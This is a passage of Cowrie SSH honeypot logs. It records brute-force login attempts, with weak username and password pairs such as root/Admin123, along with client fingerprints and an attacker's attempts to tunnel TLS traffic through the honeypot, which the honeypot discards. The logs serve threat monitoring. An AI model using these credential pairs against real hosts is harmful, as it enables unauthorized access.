ssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:49.356890Z","src_ip":"195.178.110.218","session":"402bd90dd3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:49.452957Z","src_ip":"39.102.55.188","session":"de703171eca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:49.595235Z","src_ip":"195.178.110.218","session":"402bd90dd3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:50.676656Z","src_ip":"195.178.110.218","session":"402bd90dd3c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54888,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b15d099d2c7","protocol":"ssh","message":"New connection: 92.118.39.92:54888 (159.203.135.109:22) [session: 5b15d099d2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:45:38.045162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:45:38.050843Z","src_ip":"92.118.39.92","session":"5b15d099d2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:45:38.148124Z","src_ip":"92.118.39.92","session":"5b15d099d2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validate","password":"validate","message":"login attempt [validate/validate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:45:38.542176Z","src_ip":"92.118.39.92","session":"5b15d099d2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:45:39.644511Z","src_ip":"92.118.39.92","session":"5b15d099d2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.187.120.182","src_port":40247,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccb991283450","protocol":"ssh","message":"New connection: 117.187.120.182:40247 (10.17.0.5:22) [session: ccb991283450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:09.278428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:09.282790Z","src_ip":"117.187.120.182","session":"ccb991283450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:09.571409Z","src_ip":"117.187.120.182","session":"ccb991283450","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:10.450981Z","src_ip":"117.187.120.182","session":"ccb991283450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":55276,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf63335a126","protocol":"ssh","message":"New connection: 77.90.185.17:55276 (10.17.0.5:22) [session: ddf63335a126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:52.957478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:52.961349Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:53.061031Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:53.551723Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"77.90.185.17","src_port":49054,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:49054","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:55.568111Z","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:56.050178Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03m\\x84\\x9f\\x1d&|I\\xb25\\xd8\\xac\\xa32}nPb\\x16\\xbc\\xf8hZ7d\\x99nG\\xda\\xf5\\x92\\xdf` \\xc7\\x04\\xc30!\\x85\\xd8\\xb9\\xc8\\xaan\\xe9\\xaf\\xfeZ\\xa3\\xf2,.>\\x7f-v\\xe4b\\x92\\xbb:\\xab9\\xe3\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa5\\xe8\\x0bw\\xa3\\xb3\\xaf\\xfa9\\x84\\x89\\x1e_\\xf4\\\\C\\xeea\\x195\\xf8\\xf5\\xb6\\x0b\\xec\\x94\\xfcB\\xa7Qht\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03m\\x84\\x9f\\x1d&|I\\xb25\\xd8\\xac\\xa32}nPb\\x16\\xbc\\xf8hZ7d\\x99nG\\xda\\xf5\\x92\\xdf` \\xc7\\x04\\xc30!\\x85\\xd8\\xb9\\xc8\\xaan\\xe9\\xaf\\xfeZ\\xa3\\xf2,.>\\x7f-v\\xe4b\\x92\\xbb:\\xab9\\xe3\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa5\\xe8\\x0bw\\xa3\\xb3\\xaf\\xfa9\\x84\\x89\\x1e_\\xf4\\\\C\\xeea\\x195\\xf8\\xf5\\xb6\\x0b\\xec\\x94\\xfcB\\xa7Qht\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:56.053852Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":52038,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:52038","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:57.286016Z","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:57.622516Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\xc4\\x8eZ\\xe5}\\xd7\\x9e\\x07\\xdb\\x0e\\xb6x\\xd8\\x9b@e\\x8dj\\xfd\\x84\\xafs\\xb2\\xd8\\x07x\\x84\\x12\\xd2VE d%\\xf9\\x88\\x7fC\\xc2I\\x1f\\x7f\\xc6_\\xc7?\\xd8\\x95\\x96c\\xad`v\\xb7\\x97\\xad<j53\\xd5o{\\x8b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf8a\\xcd\\xcd\\x8e_\\x93\\xdf\\xd2\\xcc:\\xfe>\\xe4\\xbaC\\xc1\\x8f\\xfe\\x0bZg\\x96\\xdd\\xba\\xb2\\xe3\\x90`\\xb8'0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\xc4\\x8eZ\\xe5}\\xd7\\x9e\\x07\\xdb\\x0e\\xb6x\\xd8\\x9b@e\\x8dj\\xfd\\x84\\xafs\\xb2\\xd8\\x07x\\x84\\x12\\xd2VE d%\\xf9\\x88\\x7fC\\xc2I\\x1f\\x7f\\xc6_\\xc7?\\xd8\\x95\\x96c\\xad`v\\xb7\\x97\\xad<j53\\xd5o{\\x8b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf8a\\xcd\\xcd\\x8e_\\x93\\xdf\\xd2\\xcc:\\xfe>\\xe4\\xbaC\\xc1\\x8f\\xfe\\x0bZg\\x96\\xdd\\xba\\xb2\\xe3\\x90`\\xb8'0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:57.625941Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
